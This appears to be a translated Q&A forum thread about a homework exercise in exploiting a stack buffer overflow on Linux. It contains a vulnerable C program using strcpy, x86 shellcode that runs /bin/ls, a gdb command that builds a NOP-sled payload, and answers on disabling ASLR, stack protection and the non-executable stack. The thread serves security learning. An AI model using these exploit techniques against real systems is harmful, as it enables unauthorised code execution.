【问题标题】:Homework - Cannot exploit bufferoverflow作业 - 无法利用 bufferoverflow
【发布时间】:2011-10-21 08:18:48
【问题描述】:

我正在尝试学习在 Backtrack Linux 上利用简单的缓冲流技术。

这是我的 C 程序

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
    char buffer[500];
    if(argc==2)
    {

    strcpy(buffer, argv[1]);  //vulnerable function

    }

    return 0;
}

这是我使用的shellcode,对应简单的/bin/ls \x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89 \xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80

我使用以下命令将这个 shellcode 注入到 gdb 中

run $(python -c 'print "\x90" * 331 + "\x31\xc0\x83\xec\x01\x88\x04\x24\x68\x6e\x2f\x6c\x73\x66\x68\x62\x69\x83\xec\x01\xc6\x04\x24\x2f\x89\xe6\x50\x56\xb0\x0b\x89\xf3\x89\xe1\x31\xd2\xcd\x80\xb0\x01\x31\xdb\xcd\x80" + "\x0c\xd3\xff\xff"*35')

当我逐步执行应用程序时,它会在最终的 ret 指令上生成 SIG FAULT。此时EIP 正确设置为0xffffd30c。这个地址是可寻址的,包含一系列NOP,后面跟着我的shell代码,如payload中所示。

我已禁用 ASLR sudo echo 0 &gt; /proc/sys/kernel/randomize_va_space

并且还使用fno-stack-protector 选项编译了我的二进制文件。

知道 SIGSEGV 的原因是什么吗?

【问题讨论】:

标签: c buffer-overflow shellcode


【解决方案1】:

我已经回答了我自己的问题,问题是“可执行堆栈保护”,在堆栈内存中无法执行。这可以在 gcc 中禁用,如下所示

gcc -z execstack

【讨论】:

    【解决方案2】:

    您是否在 GCC (-fno-stack-protector) 中禁用了堆栈粉碎保护?

    How to turn off gcc compiler optimization to enable buffer overflow

    【讨论】:

    • 是的,我做到了,我正在更新帖子
    猜你喜欢
    • 2015-02-06
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2018-06-01
    • 1970-01-01
    • 2015-09-08
    相关资源
    最近更新 更多